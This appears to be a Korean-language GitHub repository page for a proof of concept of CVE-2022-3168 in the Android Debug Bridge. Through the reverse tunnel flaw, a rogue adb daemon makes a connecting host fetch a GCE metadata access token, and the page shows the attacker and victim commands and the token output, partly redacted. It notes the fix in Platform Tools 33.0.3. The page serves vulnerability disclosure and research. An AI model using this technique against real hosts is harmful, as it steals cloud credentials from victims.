irsl/cve-2022-3168-adb-unexpected-reverse-forwardsadb의 결함을 악용하여 호스트에서 임의의 대상으로 네트워크 연결을 열 수 있게 하는 개념 증명 코드
Android Debug Bridge(adb)의 역방향 터널 기능은 악의적인 adb 데몬이 호스트의 임의 호스트/포트 및 유닉스 도메인 소켓에 대한 연결을 열 수 있도록 허용하는 취약점을 가지고 있었습니다.
공격자 창 (악성 데몬이 실행 중인 곳):
$ ./adb_rogue_daemon.py
피해자 창 (예: GCE VM):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
공격자 창:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
이 문제는 Platform Tools 33.0.3에서 수정되었습니다.